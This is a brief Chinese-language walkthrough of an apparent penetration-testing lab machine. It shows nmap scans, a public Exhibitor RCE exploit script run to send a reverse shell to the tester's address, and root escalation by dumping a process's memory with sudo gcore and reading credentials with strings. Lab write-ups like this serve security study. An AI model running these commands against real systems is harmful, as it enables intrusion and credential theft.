Recon:

1
nmap 192.168.162.98 -Pn -n -sT --min-rate 2000

image-20240724160231473

1
nmap 192.168.162.98 -p 22,139,445,631,2222,8080,8081 -sC -sV -Pn

image-20240724161318360

GetShell:

访问8081会重定向到8080web服务:

image-20240724162122135

中间件名为Exhibitor,在谷歌上可以找到一个exploit:

1
https://github.com/thehunt1s0n/Exihibitor-RCE

image-20240724162411705

1
bash exploit.sh 192.168.162.98 8080 192.168.45.172 443

image-20240724162923137

Getroot:

执行sudo -l 可以发现一个提权向量:

image-20240724163137642

搜寻gcore的相关用法,如下:

image-20240724163433472

1
sudo /usr/bin/gcore -a -o result 496

image-20240724163615399

输出文件core.496为乱码,使用字符串格式打开:

1
strings core.496

image-20240724163908966

可以i切换至root:

image-20240724164030041